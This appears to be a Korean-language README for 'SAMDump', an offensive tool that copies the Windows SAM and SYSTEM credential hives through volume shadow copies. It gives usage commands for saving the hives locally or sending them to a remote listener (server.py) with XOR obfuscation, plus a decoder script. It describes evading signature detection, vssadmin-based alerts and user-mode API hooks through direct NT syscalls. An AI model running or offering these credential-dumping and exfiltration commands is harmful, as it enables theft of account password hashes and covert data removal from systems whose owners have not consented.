
SAM 및 SYSTEM 하이브를 VSS(볼륨 섀도 복사본) API를 사용하여 추출합니다. 외부 유출 및 XOR 난독화 옵션을 포함합니다. C#, C++, Crystal, Python, Rust, Golang, Nim 및 Deno(Javascript)로 작성되었습니다.
볼륨 섀도 복사 서비스(VSS)를 사용하여 Windows SAM 및 SYSTEM 파일을 추출하며, 여러 유출 옵션과 XOR 난독화를 지원합니다:
C++, C#, Crystal 및 Python으로 구현되었으며, 최신 Windows 버전에서 작동합니다.
상승된 권한이 필요하며, 섀도 복사본이 생성된 경우 약 5분 후에 자동으로 삭제됩니다.
SAMDump.exe [OPTIONS]
Options:
--save-local [BOOL] Save locally (default: false)
--output-dir DIR Output directory (default: C:\Windows\tasks)
--send-remote [BOOL] Send remotely (default: false)
--host IP Host for remote sending (default: 127.0.0.1)
--port PORT Port for remote sending (default: 7777)
--xor-encode [BOOL] XOR Encode (default: false)
--xor-key KEY Enable XOR with specified key (default: SAMDump2025)
--disk DISK Disk for shadow copy (default: C:\)
--help Show this help
인코딩 없이 로컬에 저장:
SAMDump.exe --save-local --output-dir "C:\temp"

XOR 인코딩으로 로컬에 저장:
SAMDump.exe --save-local --xor-encode --xor-key "SAMDump2025"

기본 키를 사용하여 XOR 인코딩으로 원격 서버로 전송:
SAMDump.exe --send-remote --host 192.168.1.72 --port 1234 --xor-encode

server.py는 네트워크를 통해 파일을 수신하며, 자동 XOR 디코딩 및 파일명 형식을 지원하는 Python 서버입니다:
python server.py [OPTIONS]
Options:
--host HOST IP address to listen on (default: 0.0.0.0)
--port PORT Port to listen on (default: 7777)
--xor-key KEY Key for XOR decoding (optional)
특정 인터페이스와 포트에서 XOR 키를 사용하여 수신:
python server.py --host 192.168.1.72 --port 1234 --xor-key "SAMDump2025"

파일명에는 IP 주소와 날짜가 포함되어 있어, 다른 시스템에서 파일을 전송하여 프로세스를 자동화할 수 있습니다.
xor-decoder.py는 XOR 인코딩된 SAM 및 SYSTEM 파일을 로컬에서 디코딩하는 Python 스크립트입니다:
python xor-decoder.py [OPTIONS]
Options:
--sam SAM Path to encoded SAM file (required)
--system SYSTEM Path to encoded SYSTEM file (required)
--xor-key KEY XOR key for decoding (default: SAMDump2025)
--output-dir DIR Output directory for decoded files (default: ./decoded)
기본 키로 디코딩:
python xor-decoder.py --sam sam.txt --system system.txt

사용자 지정 키와 출력 디렉터리로 디코딩:
python xor-decoder.py --sam sam.txt --system system.txt --xor-key "MyKey" --output-dir ./results

이 프로젝트는 세 가지 언어로 구현된 버전을 포함합니다:
comtypes 라이브러리 설치 필요 (pip install comtypes)이 프로세스를 자동화하고 싶었고, 제가 접하는 대부분의 Windows는 VSS를 실행 중이지만, 보안 솔루션들은 잘 알려진 기술이기 때문에 vssadmin을 사용하여 섀도 복사본을 생성하고 이러한 파일을 추출하는 것을 탐지합니다.
이 도구는 원격 전송 모드를 사용할 때 대상 파일 시스템에 쓰지 않고 파일을 추출하며, XOR 인코딩은 시그니처 기반 탐지를 회피하기 위한 기본 난독화를 제공합니다(원격 모드에서도).
또한 NT API 호출을 활용하여 일부 모니터링 및 사용자 모드 API 후크를 우회합니다.
이 도구는 표준 Windows API 함수 대신 NT 시스템 호출을 사용하여, 일반적으로 모니터링되는 일부 사용자 모드 API 후크를 우회할 수 있습니다:
NtCreateFile 및 NtReadFile: 섀도 복사본의 SAM 및 SYSTEM 파일에 대한 핸들을 열고 바이트를 읽는 데 사용됩니다NtWriteFile: 로컬로 파일을 저장하는 데 사용됩니다@vx-underground님께 감사드립니다. Export Address Table(EAT) 탐색 코드에서 불필요한 NtReadVirtualMemory 호출을 직접 포인터 접근으로 대체하는 최적화를 식별하고 제안해 주셨습니다.